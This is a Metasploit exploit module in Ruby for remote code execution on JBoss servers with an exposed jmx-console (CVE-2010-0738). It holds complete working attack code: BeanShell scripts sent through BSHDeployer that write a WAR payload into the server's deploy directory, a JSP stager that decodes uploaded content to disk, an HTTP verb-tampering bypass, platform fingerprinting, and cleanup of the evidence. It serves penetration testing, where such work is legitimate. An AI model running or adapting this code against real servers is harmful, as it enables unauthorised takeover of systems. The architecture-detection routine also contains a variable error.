##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
			'Description'	=> %q{
					This module can be used to install a WAR file payload on JBoss servers that have
				an exposed "jmx-console" application. The payload is put on the server by
				using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
			},
			'Author'       =>
				[
					'Patrick Hof',
					'jduck',
					'Konrads Smelkovs',
					'h0ng10'
				],
			'License'		=> BSD_LICENSE,
			'References'	=>
				[
					[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
				],
			'Privileged'   => true,
			'Platform'     => ['java', 'win', 'linux' ],
			'Stance'       => Msf::Exploit::Stance::Aggressive,
			'Targets'     =>
				[
					#
					# do target detection but java meter by default
					# detect via /manager/serverinfo
					#
					[ 'Automatic (Java based)',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						} ],

					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'Linux Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],

					#
					# Java version
					#
					[ 'Java Universal',
						{
							'Platform' => 'java',
							'Arch' => ARCH_JAVA,
						}
					]
				],
			'DisclosureDate' => "Apr 26 2010",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME',	[ false, 'The username to authenticate as' ]),
				OptString.new('PASSWORD',	[ false, 'The password for the specified username' ]),
				OptString.new('JSP',	   [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
				OptString.new('APPBASE',	[ false, 'Application base name, (default: random)', nil ]),
				OptString.new('PATH',		[ true,  'The URI path of the JMX console', '/jmx-console' ]),
				OptString.new('PACKAGE',   [ true,  'The package containing the BSHDeployer service', 'auto' ]),
				OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])

			], self.class)
	end


	def exploit
		jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
		app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))


		# Dynamic variables, only used if we need a stager
		stager_base = rand_text_alpha(8+rand(8))
		stager_jsp_name = rand_text_alpha(8+rand(8))
		content_var = rand_text_alpha(8+rand(8))
		decoded_var = rand_text_alpha(8+rand(8))
		file_path_var = rand_text_alpha(8+rand(8))
		jboss_home_var = rand_text_alpha(8+rand(8))
		fos_var = rand_text_alpha(8+rand(8))


		# The following jsp script will write the exploded WAR file to the deploy/
		# directory. This is used to bypass the size limit for GET/HEAD requests
		stager_jsp = <<-EOT
<%@page import="java.io.*,
		java.util.*,
		sun.misc.BASE64Decoder"
%>
<%
	if (request.getParameter("#{content_var}") != null) {
		String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
		String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
		try {
			String #{content_var} = "";
			#{content_var} = request.getParameter("#{content_var}");
			FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
			byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
			#{fos_var}.write(#{decoded_var});
			#{fos_var}.close();
		}
		catch(Exception e){ }
	}
%>

EOT

		p = payload
		mytarget = target

		if (target.name =~ /Automatic/)
			mytarget = auto_target()
			if (not mytarget)
				fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
			end
			print_status("Automatically selected target \"#{mytarget.name}\"")
		else
			print_status("Using manually select target \"#{mytarget.name}\"")
		end
		arch = mytarget.arch

		# set arch/platform from the target
		plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

		# We must regenerate the payload in case our auto-magic changed something.
		return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

		# Generate the WAR containing the payload
		war_data = p.encoded_war({
				:app_name => app_base,
				:jsp_name => jsp_name,
				:arch => mytarget.arch,
				:platform => mytarget.platform
			}).to_s

		encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')

		if datastore['VERB'] == 'POST' then
			deploy_payload_bsh(encoded_payload, app_base)
		else
			# We need to deploy a stager first
			encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
			deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name)

			# now we call the stager to deploy our real payload war
			stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
			payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
			print_status("Calling stager to deploy final payload")
			call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
		end

		#
		# EXECUTE
		#
		uri = '/' + app_base + '/' + jsp_name + '.jsp'
		print_status("Calling JSP file with final payload...")
		print_status("Executing #{uri}...")

		# The payload doesn't like POST requests
		tmp_verb = datastore['VERB']
		tmp_verb = 'GET' if tmp_verb == 'POST'
		call_uri_mtimes(uri, 5, tmp_verb)


		#
		# DELETE
		#
		# The WAR can only be removed by physically deleting it, otherwise it
		# will get redeployed after a server restart.
		delete_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

		delete_stager_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

		delete_script = delete_stager_script if datastore['VERB'] != 'POST'

		print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
		res = invoke_bshscript(delete_script, @pkg)
		if !res
			print_warning("WARNING: Unable to remove WAR [No Response]")
		end
		if (res.code < 200 || res.code >= 300)
			print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
		end

		handler
	end


	def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name)

		jsp_file_var = rand_text_alpha(8+rand(8))
		jboss_home_var = rand_text_alpha(8+rand(8))
		fstream_var = rand_text_alpha(8+rand(8))
		byteval_var = rand_text_alpha(8+rand(8))
		stager_var = rand_text_alpha(8+rand(8))
		decoder_var = rand_text_alpha(8+rand(8))

		# The following Beanshell script will write a short stager application into the deploy
		# directory. This stager script is then used to install the payload
		#
		# This is neccessary to overcome the size limit for GET/HEAD requests
		stager_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String #{stager_var} = "#{encoded_stager_code}";

BASE64Decoder #{decoder_var} = new BASE64Decoder();
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
#{fstream_var}.write(#{byteval_var});
#{fstream_var}.close();
EOT
		print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
		deploy_bsh(stager_bsh_script)
	end


	def deploy_payload_bsh(encoded_payload, app_base)

		# The following Beanshell script will write the exploded WAR file to the deploy/
		# directory
		payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "#{encoded_payload}";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
byte[] byteval = decoder.decodeBuffer(val);
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
FileOutputStream fstream = new FileOutputStream(war_file);
fstream.write(byteval);
fstream.close();
EOT

		print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
		deploy_bsh(payload_bsh_script)

	end

	def deploy_bsh(bsh_script)
		if datastore['PACKAGE'] == 'auto'
			packages = %w{ deployer scripts }
		else
			packages = [ datastore['PACKAGE'] ]
		end

		success = false
		packages.each do |p|
			print_status("Attempting to use '#{p}' as package")
			res = invoke_bshscript(bsh_script, p)
			if !res
				fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]")
			end

		if (res.code < 200 || res.code >= 300)
			case res.code
				when 401
					print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
					fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
				end

				print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
				fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
			else
				success = true
				@pkg = p
				break
			end
		end

		if not success
			fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload")
		end
	end


	def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
		verb = datastore['VERB'] if verb.nil?

		# JBoss might need some time for the deployment. Try 5 times at most and
		# wait 5 seconds inbetween tries
		num_attempts.times do |attempt|

			if (verb == "POST")
				res = send_request_cgi(
					{
						'uri'    => uri,
						'method' => verb,
						'data'   => data
					}, 5)
			else

				uri += "?#{data}" unless data.nil?
				res = send_request_cgi(
					{
						'uri'    => uri,
						'method' => verb
					}, 30)
			end

			msg = nil
			if (!res)
				msg = "Execution failed on #{uri} [No Response]"
			elsif (res.code < 200 or res.code >= 300)
				msg = "http request failed to #{uri} [#{res.code}]"
			elsif (res.code == 200)
				print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
				return res
			end

			if (attempt < num_attempts - 1)
				msg << ", retrying in 5 seconds..."
				print_status(msg) if datastore['VERBOSE']
				select(nil, nil, nil, 5)
			else
				print_error(msg)
				return res
			end
		end
	end


	def auto_target
		if datastore['VERB'] == 'HEAD' then
			print_status("Sorry, automatic target detection doesn't work with HEAD requests")
		else
			print_status("Attempting to automatically select a target...")
			res = query_serverinfo
			if not (plat = detect_platform(res))
				fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
			end

			if not (arch = detect_architecture(res))
				fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
			end

			# see if we have a match
			targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
		end

		# no matching target found, use Java as fallback
		java_targets = targets.select {|t| t.name =~ /^Java/ }
		return java_targets[0]
	end

	def query_serverinfo
		path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
		res = send_request_raw(
			{
				'uri'    => path,
				'method' => datastore['VERB']
			}, 20)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		res
	end

	# Try to autodetect the target platform
	def detect_platform(res)
		if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
			os = $1
			if (os =~ /Linux/i)
				return 'linux'
			elsif (os =~ /FreeBSD/i)
				return 'linux'
			elsif (os =~ /Windows/i)
				return 'win'
			end
		end
		nil
	end


	# Try to autodetect the target architecture
	def detect_architecture(res)
		if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
			arch = $1
			if (arch =~ /(x86|i386|i686)/i)
				return ARCH_X86
			elsif (os =~ /(x86_64|amd64)/i)
				return ARCH_X86
			end
		end
		nil
	end


	# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
	def invoke_bshscript(bsh_script, pkg)
		params =  'action=invokeOpByName'
		params << '&name=jboss.' + pkg + ':service=BSHDeployer'
		params << '&methodName=createScriptDeployment'
		params << '&argType=java.lang.String'
		params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
		params << '&argType=java.lang.String'
		params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'

		if (datastore['VERB']== "POST")
			res = send_request_cgi({
				'method'	=> datastore['VERB'],
				'uri'		=> normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
				'data'	=> params
			})
		else
			res = send_request_cgi({
				'method'	=> datastore['VERB'],
				'uri'		=> normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
			}, 30)
		end
		res
	end
end